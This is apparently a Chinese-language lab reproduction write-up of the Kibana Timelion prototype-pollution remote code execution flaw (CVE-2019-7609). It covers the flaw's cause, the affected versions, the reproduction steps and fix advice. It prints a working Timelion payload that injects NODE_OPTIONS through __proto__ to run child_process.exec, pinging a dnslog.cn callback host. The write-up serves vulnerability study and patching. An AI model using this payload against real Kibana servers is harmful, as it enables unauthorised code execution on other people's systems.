漏洞原理
“原型污染”是一种针对JS语言开发的攻击方法。JS语言中,每一个对象都是有其原型(proto)的,而该原型又有其自己的原型对象,直到某个对象的原型为null。而如果JS对其中定义的对象原型的属性读写缺乏控制,容易让攻击者操纵一些敏感特征,从而实现攻击者的目的。
该漏洞就是是一个由于JS语言的“原型污染”,导致靶机环境量被污染,最终获得shell执行的漏洞。
漏洞影响范围
5.6.15<=Kibana<=6.6.1
漏洞复现过程
启动docker环境。
打开对应的kibana服务页面。
点击Timelion功能,修改其中的下方图片中红线标记的内容。
修改内容并点击右三角符号进行应用。然后点击Canvas即可触发payload。
成功触发payload在/tmp目录下生成t.txt文件。
payload:
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("ping 6b7s7k.dnslog.cn -c 3");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
注意
在复现过程中,触发后响应较慢,可能是我虚拟机的问题,也可能是kibana环境本身就是这样,具体情况未知。但在dnslog记录中几乎相差了一分钟左右的时间,才看到记录。
(在docker启动前,需要提前看下docker对应漏洞目录中的README文件,需要修改配置。)
修复建议
该漏洞的利用在满足版本的前提下,需要满足两个条件才会触发该漏洞。
首先kibana服务一般开放在外网之中,并且该漏洞的利用还需要弱口令登录才可以。
1、版本及时升级
2、不要让Kibana的Timelion页面暴露于公网,并检查是否存在使用弱口令登录的情况。
参考链接
cve-2019-7609 Kibana远程代码执行漏洞攻击方法和漏洞原理分析:https://blog.csdn.net/whatday/article/details/107879556
CVE-2019-7609:Kibana远程代码执行漏洞复现:https://blog.csdn.net/zy15667076526/article/details/109706962